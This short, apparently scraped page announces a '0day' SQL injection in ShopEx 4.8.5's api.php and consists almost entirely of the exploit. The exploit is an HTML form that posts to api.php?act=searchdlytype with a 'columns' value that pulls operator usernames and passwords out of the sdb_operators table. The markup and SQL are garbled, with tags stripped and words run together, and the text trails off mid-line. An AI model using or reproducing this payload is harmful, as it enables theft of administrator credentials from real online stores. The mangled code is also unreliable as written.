shopex 4.8.5 api. php injection vulnerability 0day exp-vulnerability warning-the black bar safety net

form method='post' action='http://www.webshell.cc/api.php?act=searchdlytype&apiversion=1.0' columns:input type='text' value='1,2,SELECT concatusername,0x7c,userpass FROM sdboperators limit 0,1 as name' name='columns' style='width:8 0%'/br / input type='submit' value='submit' /br / /form script...